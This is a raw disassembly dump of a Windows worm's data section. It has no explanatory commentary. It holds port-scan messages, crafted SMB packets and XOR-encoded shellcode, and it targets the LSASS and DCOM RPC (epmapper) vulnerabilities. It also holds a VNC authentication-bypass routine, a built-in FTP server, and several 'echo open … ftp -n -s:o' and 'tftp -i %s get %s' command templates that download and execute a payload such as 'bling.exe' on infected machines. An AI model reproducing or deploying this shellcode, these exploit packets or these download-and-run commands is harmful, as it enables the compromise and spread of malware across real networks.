sub_40CA1D+D1o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 4 ; char asc_431FF8[] asc_431FF8 db '-' ; DATA XREF: sub_40CA1D+41o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CD9E+B2o align 10h dword_432030 dd 10FF8h, 0 ; DATA XREF: sub_40CD9E+6Ao dword_432038 dd 10FF8h ; DATA XREF: sub_40CD9E+79o dword_43203C dd 7FFDF020h, 0 ; DATA XREF: sub_40CD9E+162o dword_432044 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40D1C8+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 aLanman1_0 db 'LANMAN1.0',0 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 aLm1_2x002 db 'LM1.2X002',0 dw 4C02h aAnman2_1 db 'ANMAN2.1',0 db 2, 4Eh, 54h aLm0_12 db ' LM 0.12',0 align 4 dword_4320CC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D1C8+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_4320FC dd 0 ; DATA XREF: sub_40D1C8+44o dd 800000D4h, 0 unk_432108 db 81h ; ; DATA XREF: sub_40D2A2+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_432154 db 41h ; DATA XREF: sub_40D340+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 aSvwfbA db 'SVWfì€',0 ; DATA XREF: .text:0040D61Fo aIcsa db '‰æèí',0 db 2 dup(0), 0FFh dd 12096836h, 0F7E863D6h, 89000000h, 0A2E80846h, 0FF000000h dd 6B680476h, 0E8CA2BD0h, 0E2h, 0E80C4689h, 3Fh, 680476FFh dd 4C0297FAh, 0CDE8h, 68DB3100h, 410h, 89D0FF53h, 768B56C3h dd 0B9C78910h, 410h, 315EA4F3h, 505050C0h, 0FF505053h dd 468B0C56h, 0C4816608h, 5E5F0080h, 60E0FF5Bh, 23E8h dd 24448B00h, 7C588D0Ch, 53C4383h, 284381h, 81000010h dd 0F0002863h, 48BFFFFh, 14C48324h, 0C3C03150h, 0FF64D231h dd 22896432h, 90B8DB31h, 31429042h, 8902B1C9h, 74AFF3DFh dd 0F3EB4303h, 64107E89h, 6158028Fh, 20BF60C3h, 8B7FFDF0h dd 8468B1Fh, 7F8B0789h, 78C781F8h, 89000001h, 741939F9h dd 0EB098B04h, 39FA89F8h, 574045Ah, 0EB04528Bh, 891189F6h dd 43C6044Ah, 0C36101FDh, 0FDF00CA1h, 1C408B7Fh, 8908588Bh dd 8B008B1Eh, 46890840h, 8B60C304h, 8B28246Ch, 548B3C45h dd 0EA017805h, 8B184A8Bh, 0EB01205Ah, 8B4938E3h, 0EE018B34h dd 0C031FF31h, 0E038ACFCh, 0CFC10774h, 0EBC7010Dh, 247C3BF4h dd 8BE17524h, 0EB01245Ah, 4B0C8B66h, 11C5A8Bh, 8B048BEBh dd 4489E801h, 0C2611C24h, 0FEEB0008h, 0 dword_432300 dd 0F254C481h, 0E8FCFFFFh, 46h, 8B3C458Bh, 178057Ch, 184F8BEFh ; DATA XREF: .text:0040D5CDo dd 1205F8Bh, 492EE3EBh, 18B348Bh, 99C031EEh, 74C084ACh dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh ; char dword_432390[] dword_432390 dd 60h ; DATA XREF: sub_40CD9E+320o ; char dword_432394[] dword_432394 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD9E+2F5o ; char dword_4323A0[] dword_4323A0 dd 30h ; DATA XREF: sub_40CD9E+2CAo ; char dword_4323A4[] dword_4323A4 dd 0A1h ; DATA XREF: sub_40CD9E+29Fo dword_4323A8 dd 3 ; DATA XREF: sub_40CD9E+246o ; char aCccc[] aCccc db 'CCCC',0 ; DATA XREF: sub_40CD9E+153o align 4 ; char dword_4323B4[] dword_4323B4 dd 909006EBh, 90909090h, 0 ; DATA XREF: sub_40CD9E+E8o aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: .text:0040D5F4o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 4 dword_432424 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: .text:0040E02Do ; .text:0040E167o dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_432470 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_40DCF9+123o dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_4327D4 dd 20h, 0 ; DATA XREF: sub_40DCF9+136o dd 20h, 5C005Ch, 0 off_4327E8 dd offset aLafler ; DATA XREF: sub_40DCF9+15Do ; "Lafler" a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 align 8 dword_432828 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCF9+174o dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) aFxnbfxfxnbfxfx: ; DATA XREF: sub_40DCF9+45o unicode 0, <FXNBFXFXNBFXFXFXFX> dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '' db '' db '',0 dword_432938 dd 10016C6h ; DATA XREF: sub_40DCF9+104o dword_43293C dd 100139Dh ; DATA XREF: sub_40DCF9+FBo asc_432940: ; DATA XREF: sub_40DB5E+1Co ; sub_40DC41+16o unicode 0, <\\>,0 align 4 off_432948 dd offset dword_49005C ; DATA XREF: sub_40DB5E+Co ; sub_40DC41+Bo dd offset aLallemant+8 dd 24h aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: .text:0040E235o ; .text:0040E99Eo ... align 10h aTftpFileTransf db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: .text:0040E1E8o align 4 aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: .text:0040DF8Do align 10h dd 4B5B10EBh, 0B966C933h, 34800125h, 0FAE2990Bh, 0EBE805EBh dd 70FFFFFFh, 99999962h, 0A938FDC6h, 12999999h, 0E91295D9h dd 0F1123485h, 0F36E1291h, 271C09Dh, 7B999999h, 0ABAAF160h dd 0EEF19999h, 0CDC6ABEAh, 71128F66h, 71C09DF3h, 9999991Bh dd 7518607Bh, 99999809h, 9898F1CDh, 0CF669999h, 0C9C9C989h dd 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h, 0F1989999h, 4B9D999Bh dd 89F35512h, 0CF66CAC8h, 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh dd 0CD751AA9h, 0F3BDA514h, 7B32C08Ch, 0BDDD5F64h, 0DD67DD89h dd 0C510A4BDh, 0C510D1BDh, 0C510D5BDh, 0DD14C9BDh, 0C9CD89BDh dd 0F3C8C8C8h, 66C8C898h, 66C8A9EFh, 55129DCFh, 0A86666F3h dd 0CA91CF66h, 6685CF66h, 0CFC895CFh, 12A5DC12h, 9AE1B1CDh dd 0EB12CB4Ch, 0AA6C9AB9h, 34D8D050h, 42AA5C9Ah, 0A3892796h dd 5891ED4Fh, 439A9452h, 0A26872D9h, 0C37EEC86h, 9ABDC312h dd 9512FF44h, 85C312D2h, 9D12449Ah, 325C9A12h, 715AC0C7h dd 66666699h, 7597D717h, 8F2A67EBh, 579C4034h, 0F9795776h dd 0A2657452h, 346C9040h, 0F9336075h, 0E05FE07Eh, 0 ; char aI_1[] aI_1 db 'ë' ; DATA XREF: sub_40E3F1+156o ; sub_40E3F1+212o db 10h, 5Ah, 4Ah dd 0B966C933h, 3480017Dh, 0FAE2990Ah, 0EBE805EBh, 70FFFFFFh dd 99999895h, 0A938FDC3h, 12999999h, 0E91295D9h, 0D9123485h dd 12411291h, 0ED12A5EAh, 6A9AE187h, 9AB9E712h, 8DD71262h dd 0CECF74AAh, 9AA612C8h, 0F36B1262h, 3F6AC097h, 0C6C091EDh dd 0DC9D5E1Ah, 0C6C0707Bh, 125412C7h, 5A9ABDDFh, 589A7848h dd 12FF50AAh, 85DF1291h, 78585A9Ah, 12589A9Bh, 125A9A99h dd 1A6E1263h, 4912975Fh, 71C09AF3h, 9999991Eh, 0CB945F1Ah dd 65CE66CFh, 0F34112C3h, 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h dd 669BF398h, 411275CEh, 999B9E5Eh dword_432BA0 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_40E3F1+105o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_432C88 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: .text:0040E8A6o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 aLanman1_0_0 db 'LANMAN1.0',0 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 aLm1_2x002_0 db 'LM1.2X002',0 dw 4C02h aAnman2_1_0 db 'ANMAN2.1',0 db 2, 4Eh, 54h aLm0_12_0 db ' LM 0.12',0 align 4 dword_432D14 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:0040E8D2o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dword_432DC0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:0040E8F9o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_432EA0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+58o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC_3: ; DATA XREF: sub_40E3F1+8Ao unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_432F04 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+2AAo dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_432F70 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+2D1o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_433014 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+3B0o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_433094 dd offset loc_401495 ; DATA XREF: sub_40E3F1+3DEo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_433128 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+306o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_433194 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+331o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_433208 dd 0 ; DATA XREF: sub_40E3F1+35Fo dd offset loc_40A897+3 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A897+3 dd 1, 0 dd 1, 0 dd offset loc_40A897+3 dd 1, 0 dd 1, 0 dd offset loc_40A897+3 dd 1, 0 dd 1, 2 dup(0) word_433290 dw 0AD9Dh ; DATA XREF: sub_40E292+30r ; sub_40E3F1+E7r align 4 dd 2 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 10h dword_4332D0 dd 1004600h ; DATA XREF: sub_40E3F1+140r ; sub_40E3F1+245r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) ; char aEchoOpenSDOEch[] aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &' ; DATA XREF: sub_40E292+BCo db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0 align 4 ; char aTftpISGetS[] aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E292+97o dword_433408 dd 6EB06EBh, 0 ; DATA XREF: sub_40E3F1+177o ; char aSIpc[] aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_40E3F1+27o align 4 dword_43341C dd 1CEC8166h ; DATA XREF: sub_40E3F1+Dr dword_433420 dd 0E4FF07h ; DATA XREF: sub_40E3F1+16r dword_433424 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAE9+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 ; char aCmdCEchoOpen_0[] aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40E9FB+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: .text:0040EE25o align 4 aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: .text:0040ECB2o align 4 word_4346DC dw 1 ; DATA XREF: .text:0040EC29r ; sub_41B55B+24r ... align 10h aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40EF1C+130o ; sub_41A1B1+21o ; char aEchoOpenSDOE_0[] aEchoOpenSDOE_0 db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o' ; DATA XREF: sub_40F108+23Eo db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40F3AA+5DAo a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_40F3AA+5B9o align 4 ; char dword_434798 dword_434798 dd 392C3003h, 5E5E207Ch, 534F4241h, 5E374C41h, 37C205Eh ; DATA XREF: sub_40F3AA+568o ; sub_412197+3ACo dd 7C312C30h, 77305020h, 75467233h, 20796C6Ch, 2C31037Ch dd 207C2038h, 336E5730h, 203E2044h, 7325h a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40F3AA+554o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_40F3AA+4F7o align 4 ; char aRetr[] aRetr db 'RETR',0 ; DATA XREF: sub_40F3AA+4DFo align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40F3AA+4CFo align 4 ; char aS_S_S_S[] aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_40F3AA+4BEo ; char aXX[] aXX db '%x%x',0Ah,0 ; DATA XREF: sub_40F3AA+48Bo align 10h ; char aS_1[] aS_1 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40F3AA+447o db ']',0 ; char aPort[] aPort db 'PORT',0 ; DATA XREF: sub_40F3AA+40Eo align 10h a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40F3AA+3E0o align 4 ; char aList_0[] aList_0 db 'LIST',0 ; DATA XREF: sub_40F3AA+3CDo align 10h a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_40F3AA+395o align 4 ; char aPasv[] aPasv db 'PASV',0 ; DATA XREF: sub_40F3AA+382o align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40F3AA+372o ; char aI_0[] aI_0: ; DATA XREF: sub_40F3AA+35Eo ; .data:004387E8o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40F3AA+33Bo ; char aA_0[] aA_0: ; DATA XREF: sub_40F3AA+327o ; .data:004387F4o unicode 0, <A>,0 ; char aType[] aType db 'TYPE',0 ; DATA XREF: sub_40F3AA:loc_40F6B3o align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40F3AA+2FEo align 4 ; char off_43492C[] off_43492C dd offset dword_445750 ; DATA XREF: sub_40F3AA+2EAo a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40F3AA+2DDo align 4 ; char aRest[] aRest db 'REST',0 ; DATA XREF: sub_40F3AA+2C9o align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40F3AA+2BCo align 4 ; char aSyst[] aSyst db 'SYST',0 ; DATA XREF: sub_40F3AA+2A8o align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40F3AA+29Bo align 4 ; char aPass[] aPass db 'PASS',0 ; DATA XREF: sub_40F3AA+287o align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_40F3AA+277o align 4 ; char aUser_1[] aUser_1 db 'USER',0 ; DATA XREF: sub_40F3AA+262o align 4 ; char aSS_3[] aSS_3 db '%s %s',0 ; DATA XREF: sub_40F3AA+251o align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40F3AA+1C9o align 4 ; char asc_4349C4[] asc_4349C4 db '-' ; DATA XREF: sub_40FAD6+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 ; char asc_4349EC[] asc_4349EC db 0Dh,0Ah,0 ; DATA XREF: sub_40FAD6+2CFo ; sub_41AA1E+F5o align 10h ; char aGet_0[] aGet_0 db 'GET ',0 ; DATA XREF: sub_40FAD6+269o align 4 ; char aHttp1_0200Ok_0[] aHttp1_0200Ok_0 db 'HTTP/1.0 200 